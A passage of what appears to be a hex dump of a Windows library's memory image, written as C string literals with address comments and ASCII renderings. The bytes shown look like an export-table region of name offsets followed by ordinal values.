÷·.ÿ·.¸.¸. /* 77C29A60 */ "\x17\xB8\x04\x00\x20\xB8\x04\x00\x2B\xB8\x04\x00\x36\xB8\x04\x00" // ¸. ¸.+¸.6¸. /* 77C29A70 */ "\x40\xB8\x04\x00\x49\xB8\x04\x00\x50\xB8\x04\x00\x58\xB8\x04\x00" // @¸.I¸.P¸.X¸. /* 77C29A80 */ "\x5F\xB8\x04\x00\x67\xB8\x04\x00\x70\xB8\x04\x00\x77\xB8\x04\x00" // _¸.g¸.p¸.w¸. /* 77C29A90 */ "\x7E\xB8\x04\x00\x88\xB8\x04\x00\x91\xB8\x04\x00\x9B\xB8\x04\x00" // ~¸.ˆ¸.‘¸.›¸. /* 77C29AA0 */ "\xA4\xB8\x04\x00\xA9\xB8\x04\x00\xAF\xB8\x04\x00\xB5\xB8\x04\x00" // ¤¸.©¸.¯¸.µ¸. /* 77C29AB0 */ "\xC0\xB8\x04\x00\xCD\xB8\x04\x00\xD6\xB8\x04\x00\xDB\xB8\x04\x00" // À¸.͸.Ö¸.Û¸. /* 77C29AC0 */ "\xE2\xB8\x04\x00\xF3\xB8\x04\x00\x04\xB9\x04\x00\x0B\xB9\x04\x00" // â¸.ó¸.¹. ¹. /* 77C29AD0 */ "\x13\xB9\x04\x00\x1B\xB9\x04\x00\x24\xB9\x04\x00\x2B\xB9\x04\x00" // ¹.¹.$¹.+¹. /* 77C29AE0 */ "\x33\xB9\x04\x00\x3B\xB9\x04\x00\x44\xB9\x04\x00\x4A\xB9\x04\x00" // 3¹.;¹.D¹.J¹. /* 77C29AF0 */ "\x52\xB9\x04\x00\x5D\xB9\x04\x00\x63\xB9\x04\x00\x6B\xB9\x04\x00" // R¹.]¹.c¹.k¹. /* 77C29B00 */ "\x75\xB9\x04\x00\x80\xB9\x04\x00\x88\xB9\x04\x00\x92\xB9\x04\x00" // u¹.€¹.ˆ¹.’¹. /* 77C29B10 */ "\x9E\xB9\x04\x00\xAD\xB9\x04\x00\xB5\xB9\x04\x00\xC0\xB9\x04\x00" // ž¹.­¹.µ¹.À¹. /* 77C29B20 */ "\xCB\xB9\x04\x00\xD8\xB9\x04\x00\xE6\xB9\x04\x00\xF0\xB9\x04\x00" // ˹.ع.æ¹.ð¹. /* 77C29B30 */ "\xFC\xB9\x04\x00\x09\xBA\x04\x00\x11\xBA\x04\x00\x19\xBA\x04\x00" // ü¹..º.º.º. /* 77C29B40 */ "\x23\xBA\x04\x00\x2A\xBA\x04\x00\x33\xBA\x04\x00\x3F\xBA\x04\x00" // #º.*º.3º.?º. /* 77C29B50 */ "\x48\xBA\x04\x00\x52\xBA\x04\x00\x5D\xBA\x04\x00\x65\xBA\x04\x00" // Hº.Rº.]º.eº. /* 77C29B60 */ "\x6C\xBA\x04\x00\x75\xBA\x04\x00\x7F\xBA\x04\x00\x86\xBA\x04\x00" // lº.uº.º.†º. /* 77C29B70 */ "\x8F\xBA\x04\x00\x95\xBA\x04\x00\x9F\xBA\x04\x00\xA7\xBA\x04\x00" // º.•º.Ÿº.§º. /* 77C29B80 */ "\xB1\xBA\x04\x00\xB7\xBA\x04\x00\xC8\xBA\x04\x00\xD7\xBA\x04\x00" // ±º.·º.Ⱥ.׺. /* 77C29B90 */ "\xEA\xBA\x04\x00\xF1\xBA\x04\x00\xF9\xBA\x04\x00\x01\xBB\x04\x00" // êº.ñº.ùº.». /* 77C29BA0 */ "\x0A\xBB\x04\x00\x17\xBB\x04\x00\x27\xBB\x04\x00\x31\xBB\x04\x00" // .».».'».1». /* 77C29BB0 */ "\x3C\xBB\x04\x00\x49\xBB\x04\x00\x52\xBB\x04\x00\x5A\xBB\x04\x00" // <».I».R».Z». /* 77C29BC0 */ "\x66\xBB\x04\x00\x6C\xBB\x04\x00\x74\xBB\x04\x00\x7D\xBB\x04\x00" // f».l».t».}». /* 77C29BD0 */ "\x84\xBB\x04\x00\x94\xBB\x04\x00\x9E\xBB\x04\x00\xA7\xBB\x04\x00" // „».”».ž».§». /* 77C29BE0 */ "\xB0\xBB\x04\x00\xB9\xBB\x04\x00\xC2\xBB\x04\x00\xCC\xBB\x04\x00" // °».¹».».Ì». /* 77C29BF0 */ "\xD6\xBB\x04\x00\xDD\xBB\x04\x00\xE5\xBB\x04\x00\xED\xBB\x04\x00" // Ö».Ý».å».í». /* 77C29C00 */ "\xF7\xBB\x04\x00\xFC\xBB\x04\x00\x02\xBC\x04\x00\x08\xBC\x04\x00" // ÷».ü».¼.¼. /* 77C29C10 */ "\x0D\xBC\x04\x00\x15\xBC\x04\x00\x1E\xBC\x04\x00\x2A\xBC\x04\x00" // .¼.¼.¼.*¼. /* 77C29C20 */ "\x36\xBC\x04\x00\x42\xBC\x04\x00\x4F\xBC\x04\x00\x5A\xBC\x04\x00" // 6¼.B¼.O¼.Z¼. /* 77C29C30 */ "\x67\xBC\x04\x00\x74\xBC\x04\x00\x7F\xBC\x04\x00\x8B\xBC\x04\x00" // g¼.t¼.¼.‹¼. /* 77C29C40 */ "\x97\xBC\x04\x00\xA3\xBC\x04\x00\xAF\xBC\x04\x00\xBB\xBC\x04\x00" // —¼.£¼.¯¼.»¼. /* 77C29C50 */ "\xC7\xBC\x04\x00\xD3\xBC\x04\x00\xDE\xBC\x04\x00\xE9\xBC\x04\x00" // Ǽ.Ó¼.Þ¼.é¼. /* 77C29C60 */ "\xF2\xBC\x04\x00\xFB\xBC\x04\x00\x04\xBD\x04\x00\x10\xBD\x04\x00" // ò¼.û¼.½.½. /* 77C29C70 */ "\x1C\xBD\x04\x00\x28\xBD\x04\x00\x34\xBD\x04\x00\x40\xBD\x04\x00" // ½.(½.4½.@½. /* 77C29C80 */ "\x4D\xBD\x04\x00\x59\xBD\x04\x00\x64\xBD\x04\x00\x70\xBD\x04\x00" // M½.Y½.d½.p½. /* 77C29C90 */ "\x77\xBD\x04\x00\x7D\xBD\x04\x00\x83\xBD\x04\x00\x87\xBD\x04\x00" // w½.}½.ƒ½.‡½. /* 77C29CA0 */ "\x8B\xBD\x04\x00\x8F\xBD\x04\x00\x96\xBD\x04\x00\x9D\xBD\x04\x00" // ‹½.½.–½.½. /* 77C29CB0 */ "\xA6\xBD\x04\x00\xB5\xBD\x04\x00\xC2\xBD\x04\x00\xC8\xBD\x04\x00" // ¦½.µ½.½.Ƚ. /* 77C29CC0 */ "\xD1\xBD\x04\x00\xD7\xBD\x04\x00\xE2\xBD\x04\x00\xE9\xBD\x04\x00" // ѽ.×½.â½.é½. /* 77C29CD0 */ "\xF0\xBD\x04\x00\xF9\xBD\x04\x00\x00\xBE\x04\x00\x0A\xBE\x04\x00" // ð½.ù½..¾..¾. /* 77C29CE0 */ "\x10\xBE\x04\x00\x16\xBE\x04\x00\x20\xBE\x04\x00\x2A\xBE\x04\x00" // ¾.¾. ¾.*¾. /* 77C29CF0 */ "\x33\xBE\x04\x00\x3E\xBE\x04\x00\x46\xBE\x04\x00\x53\xBE\x04\x00" // 3¾.>¾.F¾.S¾. /* 77C29D00 */ "\x60\xBE\x04\x00\x68\xBE\x04\x00\x73\xBE\x04\x00\x7E\xBE\x04\x00" // `¾.h¾.s¾.~¾. /* 77C29D10 */ "\x8A\xBE\x04\x00\x94\xBE\x04\x00\xA0\xBE\x04\x00\xA9\xBE\x04\x00" // о.”¾. ¾.©¾. /* 77C29D20 */ "\xB3\xBE\x04\x00\xBB\xBE\x04\x00\xC3\xBE\x04\x00\xCB\xBE\x04\x00" // ³¾.»¾.þ.˾. /* 77C29D30 */ "\xD4\xBE\x04\x00\xDC\xBE\x04\x00\xE5\xBE\x04\x00\xED\xBE\x04\x00" // Ô¾.ܾ.å¾.í¾. /* 77C29D40 */ "\xF5\xBE\x04\x00\xFE\xBE\x04\x00\x08\xBF\x04\x00\x10\xBF\x04\x00" // õ¾.þ¾.¿.¿. /* 77C29D50 */ "\x18\xBF\x04\x00\x20\xBF\x04\x00\x2A\xBF\x04\x00\x34\xBF\x04\x00" // ¿. ¿.*¿.4¿. /* 77C29D60 */ "\x3E\xBF\x04\x00\x49\xBF\x04\x00\x53\xBF\x04\x00\x5E\xBF\x04\x00" // >¿.I¿.S¿.^¿. /* 77C29D70 */ "\x6A\xBF\x04\x00\x74\xBF\x04\x00\x7D\xBF\x04\x00\x87\xBF\x04\x00" // j¿.t¿.}¿.‡¿. /* 77C29D80 */ "\x90\xBF\x04\x00\x9A\xBF\x04\x00\xA3\xBF\x04\x00\xAD\xBF\x04\x00" // ¿.š¿.£¿.­¿. /* 77C29D90 */ "\xB7\xBF\x04\x00\xC2\xBF\x04\x00\xCB\xBF\x04\x00\xD4\xBF\x04\x00" // ·¿.¿.Ë¿.Ô¿. /* 77C29DA0 */ "\xDD\xBF\x04\x00\xE6\xBF\x04\x00\xEE\xBF\x04\x00\xF6\xBF\x04\x00" // Ý¿.æ¿.î¿.ö¿. /* 77C29DB0 */ "\xFE\xBF\x04\x00\x07\xC0\x04\x00\x0F\xC0\x04\x00\x17\xC0\x04\x00" // þ¿.À.À.À. /* 77C29DC0 */ "\x21\xC0\x04\x00\x29\xC0\x04\x00\x32\xC0\x04\x00\x3B\xC0\x04\x00" // !À.)À.2À.;À. /* 77C29DD0 */ "\x42\xC0\x04\x00\x4A\xC0\x04\x00\x54\xC0\x04\x00\x5B\xC0\x04\x00" // BÀ.JÀ.TÀ.[À. /* 77C29DE0 */ "\x66\xC0\x04\x00\x6E\xC0\x04\x00\x74\xC0\x04\x00\x84\xC0\x04\x00" // fÀ.nÀ.tÀ.„À. /* 77C29DF0 */ "\x90\xC0\x04\x00\x97\xC0\x04\x00\x9D\xC0\x04\x00\xA4\xC0\x04\x00" // À.—À.À.¤À. /* 77C29E00 */ "\xAB\xC0\x04\x00\xB3\xC0\x04\x00\xBB\xC0\x04\x00\xC3\xC0\x04\x00" // «À.³À.»À.ÃÀ. /* 77C29E10 */ "\xC9\xC0\x04\x00\xD0\xC0\x04\x00\xDA\xC0\x04\x00\xE1\xC0\x04\x00" // ÉÀ.ÐÀ.ÚÀ.áÀ. /* 77C29E20 */ "\xE9\xC0\x04\x00\xEF\xC0\x04\x00\xF7\xC0\x04\x00\xFE\xC0\x04\x00" // éÀ.ïÀ.÷À.þÀ. /* 77C29E30 */ "\x07\xC1\x04\x00\x0D\xC1\x04\x00\x1B\xC1\x04\x00\x22\xC1\x04\x00" // Á..Á.Á."Á. /* 77C29E40 */ "\x29\xC1\x04\x00\x2F\xC1\x04\x00\x35\xC1\x04\x00\x40\xC1\x04\x00" // )Á./Á.5Á.@Á. /* 77C29E50 */ "\x4C\xC1\x04\x00\x58\xC1\x04\x00\x65\xC1\x04\x00\x6C\xC1\x04\x00" // LÁ.XÁ.eÁ.lÁ. /* 77C29E60 */ "\x76\xC1\x04\x00\x81\xC1\x04\x00\x8C\xC1\x04\x00\xA0\xC1\x04\x00" // vÁ.Á.ŒÁ. Á. /* 77C29E70 */ "\xB1\xC1\x04\x00\xC1\xC1\x04\x00\xD4\xC1\x04\x00\xE2\xC1\x04\x00" // ±Á.ÁÁ.ÔÁ.âÁ. /* 77C29E80 */ "\xEA\xC1\x04\x00\xF3\xC1\x04\x00\x00\xC2\x04\x00\x09\xC2\x04\x00" // êÁ.óÁ..Â..Â. /* 77C29E90 */ "\x12\xC2\x04\x00\x1E\xC2\x04\x00\x25\xC2\x04\x00\x2F\xC2\x04\x00" // Â.Â.%Â./Â. /* 77C29EA0 */ "\x38\xC2\x04\x00\x43\xC2\x04\x00\x4D\xC2\x04\x00\x54\xC2\x04\x00" // 8Â.CÂ.MÂ.TÂ. /* 77C29EB0 */ "\x5C\xC2\x04\x00\x65\xC2\x04\x00\x6E\xC2\x04\x00\x78\xC2\x04\x00" // \Â.eÂ.nÂ.xÂ. /* 77C29EC0 */ "\x80\xC2\x04\x00\x89\xC2\x04\x00\x92\xC2\x04\x00\x9C\xC2\x04\x00" // €Â.‰Â.’Â.œÂ. /* 77C29ED0 */ "\xA7\xC2\x04\x00\xAD\xC2\x04\x00\xB5\xC2\x04\x00\xBE\xC2\x04\x00" // §Â.­Â.µÂ.¾Â. /* 77C29EE0 */ "\xC8\xC2\x04\x00\xD1\xC2\x04\x00\xDA\xC2\x04\x00\xE2\xC2\x04\x00" // ÈÂ.ÑÂ.ÚÂ.âÂ. /* 77C29EF0 */ "\xEC\xC2\x04\x00\xF5\xC2\x04\x00\xFF\xC2\x04\x00\x07\xC3\x04\x00" // ìÂ.õÂ.ÿÂ.Ã. /* 77C29F00 */ "\x11\xC3\x04\x00\x1B\xC3\x04\x00\x26\xC3\x04\x00\x2F\xC3\x04\x00" // Ã.Ã.&Ã./Ã. /* 77C29F10 */ "\x37\xC3\x04\x00\x3F\xC3\x04\x00\x48\xC3\x04\x00\x52\xC3\x04\x00" // 7Ã.?Ã.HÃ.RÃ. /* 77C29F20 */ "\x5D\xC3\x04\x00\x65\xC3\x04\x00\x6B\xC3\x04\x00\x78\xC3\x04\x00" // ]Ã.eÃ.kÃ.xÃ. /* 77C29F30 */ "\x82\xC3\x04\x00\x88\xC3\x04\x00\x91\xC3\x04\x00\x9A\xC3\x04\x00" // ‚Ã.ˆÃ.‘Ã.šÃ. /* 77C29F40 */ "\xA2\xC3\x04\x00\xAC\xC3\x04\x00\xB5\xC3\x04\x00\xBE\xC3\x04\x00" // ¢Ã.¬Ã.µÃ.¾Ã. /* 77C29F50 */ "\xC6\xC3\x04\x00\xCD\xC3\x04\x00\xD6\xC3\x04\x00\xDF\xC3\x04\x00" // ÆÃ.ÍÃ.ÖÃ.ßÃ. /* 77C29F60 */ "\xE6\xC3\x04\x00\xED\xC3\x04\x00\xF4\xC3\x04\x00\xFD\xC3\x04\x00" // æÃ.íÃ.ôÃ.ýÃ. /* 77C29F70 */ "\x07\xC4\x04\x00\x0F\xC4\x04\x00\x1A\xC4\x04\x00\x22\xC4\x04\x00" // Ä.Ä.Ä."Ä. /* 77C29F80 */ "\x29\xC4\x04\x00\x32\xC4\x04\x00\x3D\xC4\x04\x00\x49\xC4\x04\x00" // )Ä.2Ä.=Ä.IÄ. /* 77C29F90 */ "\x54\xC4\x04\x00\x60\xC4\x04\x00\x69\xC4\x04\x00\x73\xC4\x04\x00" // TÄ.`Ä.iÄ.sÄ. /* 77C29FA0 */ "\x7B\xC4\x04\x00\x83\xC4\x04\x00\x8B\xC4\x04\x00\x93\xC4\x04\x00" // {Ä.ƒÄ.‹Ä.“Ä. /* 77C29FB0 */ "\x9B\xC4\x04\x00\xA5\xC4\x04\x00\xAE\xC4\x04\x00\xB8\xC4\x04\x00" // ›Ä.¥Ä.®Ä.¸Ä. /* 77C29FC0 */ "\xC0\xC4\x04\x00\xCA\xC4\x04\x00\xD4\xC4\x04\x00\xDF\xC4\x04\x00" // ÀÄ.ÊÄ.ÔÄ.ßÄ. /* 77C29FD0 */ "\xE8\xC4\x04\x00\xF0\xC4\x04\x00\xF8\xC4\x04\x00\x02\xC5\x04\x00" // èÄ.ðÄ.øÄ.Å. /* 77C29FE0 */ "\x0D\xC5\x04\x00\x15\xC5\x04\x00\x1D\xC5\x04\x00\x27\xC5\x04\x00" // .Å.Å.Å.'Å. /* 77C29FF0 */ "\x31\xC5\x04\x00\x39\xC5\x04\x00\x42\xC5\x04\x00\x4B\xC5\x04\x00" // 1Å.9Å.BÅ.KÅ. /* 77C2A000 */ "\x55\xC5\x04\x00\x5D\xC5\x04\x00\x66\xC5\x04\x00\x6F\xC5\x04\x00" // UÅ.]Å.fÅ.oÅ. /* 77C2A010 */ "\x79\xC5\x04\x00\x82\xC5\x04\x00\x8E\xC5\x04\x00\x9C\xC5\x04\x00" // yÅ.‚Å.ŽÅ.œÅ. /* 77C2A020 */ "\xAB\xC5\x04\x00\xB6\xC5\x04\x00\xC3\xC5\x04\x00\xD1\xC5\x04\x00" // «Å.¶Å.ÃÅ.ÑÅ. /* 77C2A030 */ "\xD9\xC5\x04\x00\xE3\xC5\x04\x00\xEC\xC5\x04\x00\xF7\xC5\x04\x00" // ÙÅ.ãÅ.ìÅ.÷Å. /* 77C2A040 */ "\x00\xC6\x04\x00\x0A\xC6\x04\x00\x13\xC6\x04\x00\x1D\xC6\x04\x00" // .Æ..Æ.Æ.Æ. /* 77C2A050 */ "\x27\xC6\x04\x00\x2F\xC6\x04\x00\x3A\xC6\x04\x00\x42\xC6\x04\x00" // 'Æ./Æ.:Æ.BÆ. /* 77C2A060 */ "\x4B\xC6\x04\x00\x52\xC6\x04\x00\x5B\xC6\x04\x00\x64\xC6\x04\x00" // KÆ.RÆ.[Æ.dÆ. /* 77C2A070 */ "\x6C\xC6\x04\x00\x75\xC6\x04\x00\x7E\xC6\x04\x00\x87\xC6\x04\x00" // lÆ.uÆ.~Æ.‡Æ. /* 77C2A080 */ "\x8E\xC6\x04\x00\x96\xC6\x04\x00\xA2\xC6\x04\x00\xAE\xC6\x04\x00" // ŽÆ.–Æ.¢Æ.®Æ. /* 77C2A090 */ "\xB6\xC6\x04\x00\xBF\xC6\x04\x00\xC9\xC6\x04\x00\xD3\xC6\x04\x00" // ¶Æ.¿Æ.ÉÆ.ÓÆ. /* 77C2A0A0 */ "\xDE\xC6\x04\x00\xE7\xC6\x04\x00\xF1\xC6\x04\x00\xFB\xC6\x04\x00" // ÞÆ.çÆ.ñÆ.ûÆ. /* 77C2A0B0 */ "\x06\xC7\x04\x00\x12\xC7\x04\x00\x19\xC7\x04\x00\x22\xC7\x04\x00" // Ç.Ç.Ç."Ç. /* 77C2A0C0 */ "\x2C\xC7\x04\x00\x36\xC7\x04\x00\x40\xC7\x04\x00\x49\xC7\x04\x00" // ,Ç.6Ç.@Ç.IÇ. /* 77C2A0D0 */ "\x53\xC7\x04\x00\x5C\xC7\x04\x00\x62\xC7\x04\x00\x68\xC7\x04\x00" // SÇ.\Ç.bÇ.hÇ. /* 77C2A0E0 */ "\x70\xC7\x04\x00\x76\xC7\x04\x00\x7F\xC7\x04\x00\x87\xC7\x04\x00" // pÇ.vÇ.Ç.‡Ç. /* 77C2A0F0 */ "\x91\xC7\x04\x00\x95\xC7\x04\x00\x99\xC7\x04\x00\x9D\xC7\x04\x00" // ‘Ç.•Ç.™Ç.Ç. /* 77C2A100 */ "\xA3\xC7\x04\x00\xA7\xC7\x04\x00\xAC\xC7\x04\x00\xB4\xC7\x04\x00" // £Ç.§Ç.¬Ç.´Ç. /* 77C2A110 */ "\xB9\xC7\x04\x00\xBE\xC7\x04\x00\xC4\xC7\x04\x00\xCB\xC7\x04\x00" // ¹Ç.¾Ç.ÄÇ.ËÇ. /* 77C2A120 */ "\xD0\xC7\x04\x00\xD5\xC7\x04\x00\xDA\xC7\x04\x00\xE2\xC7\x04\x00" // ÐÇ.ÕÇ.ÚÇ.âÇ. /* 77C2A130 */ "\xE9\xC7\x04\x00\xEE\xC7\x04\x00\xF7\xC7\x04\x00\xFD\xC7\x04\x00" // éÇ.îÇ.÷Ç.ýÇ. /* 77C2A140 */ "\x01\xC8\x04\x00\x06\xC8\x04\x00\x0C\xC8\x04\x00\x15\xC8\x04\x00" // È.È..È.È. /* 77C2A150 */ "\x19\xC8\x04\x00\x1E\xC8\x04\x00\x22\xC8\x04\x00\x27\xC8\x04\x00" // È.È."È.'È. /* 77C2A160 */ "\x2E\xC8\x04\x00\x33\xC8\x04\x00\x3A\xC8\x04\x00\x41\xC8\x04\x00" // .È.3È.:È.AÈ. /* 77C2A170 */ "\x47\xC8\x04\x00\x4F\xC8\x04\x00\x55\xC8\x04\x00\x5C\xC8\x04\x00" // GÈ.OÈ.UÈ.\È. /* 77C2A180 */ "\x63\xC8\x04\x00\x69\xC8\x04\x00\x6E\xC8\x04\x00\x74\xC8\x04\x00" // cÈ.iÈ.nÈ.tÈ. /* 77C2A190 */ "\x7C\xC8\x04\x00\x82\xC8\x04\x00\x88\xC8\x04\x00\x8F\xC8\x04\x00" // |È.‚È.ˆÈ.È. /* 77C2A1A0 */ "\x96\xC8\x04\x00\x9C\xC8\x04\x00\xA1\xC8\x04\x00\xA9\xC8\x04\x00" // –È.œÈ.¡È.©È. /* 77C2A1B0 */ "\xAF\xC8\x04\x00\xB6\xC8\x04\x00\xBC\xC8\x04\x00\xC4\xC8\x04\x00" // ¯È.¶È.¼È.ÄÈ. /* 77C2A1C0 */ "\xCA\xC8\x04\x00\xD3\xC8\x04\x00\xDA\xC8\x04\x00\xE2\xC8\x04\x00" // ÊÈ.ÓÈ.ÚÈ.âÈ. /* 77C2A1D0 */ "\xE7\xC8\x04\x00\xEF\xC8\x04\x00\xF6\xC8\x04\x00\xFB\xC8\x04\x00" // çÈ.ïÈ.öÈ.ûÈ. /* 77C2A1E0 */ "\x01\xC9\x04\x00\x0A\xC9\x04\x00\x11\xC9\x04\x00\x1B\xC9\x04\x00" // É..É.É.É. /* 77C2A1F0 */ "\x23\xC9\x04\x00\x2B\xC9\x04\x00\x33\xC9\x04\x00\x3B\xC9\x04\x00" // #É.+É.3É.;É. /* 77C2A200 */ "\x43\xC9\x04\x00\x4E\xC9\x04\x00\x56\xC9\x04\x00\x5E\xC9\x04\x00" // CÉ.NÉ.VÉ.^É. /* 77C2A210 */ "\x66\xC9\x04\x00\x6E\xC9\x04\x00\x76\xC9\x04\x00\x7F\xC9\x04\x00" // fÉ.nÉ.vÉ.É. /* 77C2A220 */ "\x88\xC9\x04\x00\x91\xC9\x04\x00\x9A\xC9\x04\x00\xA3\xC9\x04\x00" // ˆÉ.‘É.šÉ.£É. /* 77C2A230 */ "\xAC\xC9\x04\x00\xB5\xC9\x04\x00\xBE\xC9\x04\x00\xC7\xC9\x04\x00" // ¬É.µÉ.¾É.ÇÉ. /* 77C2A240 */ "\xD0\xC9\x04\x00\xD9\xC9\x04\x00\xE2\xC9\x04\x00\xEC\xC9\x04\x00" // ÐÉ.ÙÉ.âÉ.ìÉ. /* 77C2A250 */ "\xF5\xC9\x04\x00\xFA\xC9\x04\x00\x00\xCA\x04\x00\x05\xCA\x04\x00" // õÉ.úÉ..Ê.Ê. /* 77C2A260 */ "\x10\xCA\x04\x00\x1A\xCA\x04\x00\x1E\xCA\x04\x00\x24\xCA\x04\x00" // Ê.Ê.Ê.$Ê. /* 77C2A270 */ "\x2C\xCA\x04\x00\x33\xCA\x04\x00\x39\xCA\x04\x00\x42\xCA\x04\x00" // ,Ê.3Ê.9Ê.BÊ. /* 77C2A280 */ "\x49\xCA\x04\x00\x50\xCA\x04\x00\x57\xCA\x04\x00\x5E\xCA\x04\x00" // IÊ.PÊ.WÊ.^Ê. /* 77C2A290 */ "\x66\xCA\x04\x00\x6D\xCA\x04\x00\x74\xCA\x04\x00\x79\xCA\x04\x00" // fÊ.mÊ.tÊ.yÊ. /* 77C2A2A0 */ "\x80\xCA\x04\x00\x84\xCA\x04\x00\x8B\xCA\x04\x00\x90\xCA\x04\x00" // €Ê.„Ê.‹Ê.Ê. /* 77C2A2B0 */ "\x98\xCA\x04\x00\x9D\xCA\x04\x00\xA3\xCA\x04\x00\xAC\xCA\x04\x00" // ˜Ê.Ê.£Ê.¬Ê. /* 77C2A2C0 */ "\xB2\xCA\x04\x00\xB8\xCA\x04\x00\xBD\xCA\x04\x00\xC5\xCA\x04\x00" // ²Ê.¸Ê.½Ê.ÅÊ. /* 77C2A2D0 */ "\xCC\xCA\x04\x00\xD3\xCA\x04\x00\xDA\xCA\x04\x00\xE0\xCA\x04\x00" // ÌÊ.ÓÊ.ÚÊ.àÊ. /* 77C2A2E0 */ "\xE7\xCA\x04\x00\xF1\xCA\x04\x00\xF9\xCA\x04\x00\x00\xCB\x04\x00" // çÊ.ñÊ.ùÊ..Ë. /* 77C2A2F0 */ "\x04\xCB\x04\x00\x09\xCB\x04\x00\x11\xCB\x04\x00\x16\xCB\x04\x00" // Ë..Ë.Ë.Ë. /* 77C2A300 */ "\x1C\xCB\x04\x00\x23\xCB\x04\x00\x2A\xCB\x04\x00\x31\xCB\x04\x00" // Ë.#Ë.*Ë.1Ë. /* 77C2A310 */ "\x38\xCB\x04\x00\x40\xCB\x04\x00\x47\xCB\x04\x00\x4F\xCB\x04\x00" // 8Ë.@Ë.GË.OË. /* 77C2A320 */ "\x58\xCB\x04\x00\x61\xCB\x04\x00\x68\xCB\x04\x00\x70\xCB\x04\x00" // XË.aË.hË.pË. /* 77C2A330 */ "\x78\xCB\x04\x00\x80\xCB\x04\x00\x88\xCB\x04\x00\x90\xCB\x04\x00" // xË.€Ë.ˆË.Ë. /* 77C2A340 */ "\x97\xCB\x04\x00\x9E\xCB\x04\x00\xA5\xCB\x04\x00\xAC\xCB\x04\x00" // —Ë.žË.¥Ë.¬Ë. /* 77C2A350 */ "\xB3\xCB\x04\x00\xBB\xCB\x04\x00\xC3\xCB\x04\x00\xCC\xCB\x04\x00" // ³Ë.»Ë.ÃË.ÌË. /* 77C2A360 */ "\xD4\xCB\x04\x00\xDB\xCB\x04\x00\xDF\xCB\x04\x00\xE4\xCB\x04\x00" // ÔË.ÛË.ßË.äË. /* 77C2A370 */ "\xE9\xCB\x04\x00\xF1\xCB\x04\x00\xF8\xCB\x04\x00\x00\xCC\x04\x00" // éË.ñË.øË..Ì. /* 77C2A380 */ "\x08\xCC\x04\x00\x11\xCC\x04\x00\x1A\xCC\x04\x00\x21\xCC\x04\x00" // Ì.Ì.Ì.!Ì. /* 77C2A390 */ "\x29\xCC\x04\x00\x32\xCC\x04\x00\x3C\xCC\x04\x00\x44\xCC\x04\x00" // )Ì.2Ì.<Ì.DÌ. /* 77C2A3A0 */ "\x4D\xCC\x04\x00\x57\xCC\x04\x00\x60\xCC\x04\x00\x67\xCC\x04\x00" // MÌ.WÌ.`Ì.gÌ. /* 77C2A3B0 */ "\x6E\xCC\x04\x00\x75\xCC\x04\x00\x7D\xCC\x04\x00\x84\xCC\x04\x00" // nÌ.uÌ.}Ì.„Ì. /* 77C2A3C0 */ "\x8C\xCC\x04\x00\x95\xCC\x04\x00\x9C\xCC\x04\x00\xA4\xCC\x04\x00" // ŒÌ.•Ì.œÌ.¤Ì. /* 77C2A3D0 */ "\xAC\xCC\x04\x00\xB4\xCC\x04\x00\xBC\xCC\x04\x00\xC4\xCC\x04\x00" // ¬Ì.´Ì.¼Ì.ÄÌ. /* 77C2A3E0 */ "\xCB\xCC\x04\x00\xD2\xCC\x04\x00\xD9\xCC\x04\x00\xE0\xCC\x04\x00" // ËÌ.ÒÌ.ÙÌ.àÌ. /* 77C2A3F0 */ "\xE7\xCC\x04\x00\xF0\xCC\x04\x00\xF8\xCC\x04\x00\x00\xCD\x04\x00" // çÌ.ðÌ.øÌ..Í. /* 77C2A400 */ "\x07\xCD\x04\x00\x0F\xCD\x04\x00\x37\x00\x00\x00\x01\x00\x02\x00" // Í.Í.7..... /* 77C2A410 */ "\x03\x00\x04\x00\x05\x00\x06\x00\x07\x00\x08\x00\x09\x00\x0A\x00" // .......... /* 77C2A420 */ "\x0B\x00\x0C\x00\x0D\x00\x0E\x00\x0F\x00\x10\x00\x11\x00\x12\x00" // .......... /* 77C2A430 */ "\x13\x00\x14\x00\x15\x00\x16\x00\x17\x00\x18\x00\x19\x00\x1A\x00" // ........ /* 77C2A440 */ "\x1B\x00\x1C\x00\x1D\x00\x1E\x00\x1F\x00\x20\x00\x21\x00\x22\x00" // ..... .!.". /* 77C2A450 */ "\x23\x00\x24\x00\x25\x00\x26\x00\x27\x00\x29\x00\x2A\x00\x2B\x00" // #.$.%.&.'.).*.+. /* 77C2A460 */ "\x2C\x00\x2D\x00\x2E\x00\x2F\x00\x30\x00\x31\x00\x32\x00\x33\x00" // ,.-.../.0.1.2.3. /* 77C2A470 */ "\x34\x00\x35\x00\x36\x00\x38\x00\x39\x00\x3A\x00\x3B\x00\x3C\x00" // 4.5.6.8.9.:.;.<. /* 77C2A480 */ "\x3D\x00\x3E\x00\x3F\x00\x40\x00\x41\x00\x42\x00\x43\x00\x44\x00" // =.>.?.@.A.B.C.D. /* 77C2A490 */ "\x45\x00\x46\x00\x47\x00\x48\x00\x49\x00\x4A\x00\x4B\x00\x4C\x00" // E.F.G.H.I.J.K.L. /* 77C2A4A0 */ "\x4D\x00\x4E\x00\x4F\x00\x50\x00\x51\x00\x52\x00\x53\x00\x54\x00" // M.N.O.P.Q.R.S.T. /* 77C2A4B0 */ "\x55\x00\x56\x00\x57\x00\x58\x00\x59\x00\x5A\x00\x5B\x00\x5C\x00" // U.V.W.X.Y.Z.[.\. /* 77C2A4C0 */ "\x5D\x00\x5E\x00\x5F\x00\x60\x00\x61\x00\x62\x00\x63\x00\x64\x00" // ].^._.`.a.b.c.d. /* 77C2A4D0 */ "\x65\x00\x66\x00\x67\x00\x68\x00\x69\x00\x6A\x00\x6B\x00\x6C\x00" // e.f.g.h.i.j.k.l. /* 77C2A4E0 */ "\x6D\x00\x6E\x00\x6F\x00\x70\x00\x71\x00\x72\x00\x73\x00\x74\x00" // m.n.o.p.q.r.s.t. /* 77C2A4F0 */ "\x75\x00\x76\x00\x77\x00\x78\x00\x79\x00\x7A\x00\x7B\x00\x7C\x00" // u.v.w.x.y.z.{.|. /* 77C2A500 */ "\x7D\x00\x7E\x00\x7F\x00\x80\x00\x81\x00\x82\x00\x83\x00\x84\x00" // }.~..€..‚.ƒ.„. /* 77C2A510 */ "\x85\x00\x86\x00\x87\x00\x88\x00\x89\x00\x8A\x00\x8B\x00\x8C\x00" // ….†.‡.ˆ.‰.Š.‹.Œ. /* 77C2A520 */ "\x8D\x00\x8E\x00\x8F\x00\x90\x00\x91\x00\x92\x00\x93\x00\x94\x00" // .Ž...‘.’.“.”. /* 77C2A530 */ "\x95\x00\x96\x00\x97\x00\x98\x00\x99\x00\x9A\x00\x9B\x00\x9C\x00" // •.–.—.˜.™.š.›.œ. /* 77C2A540 */ 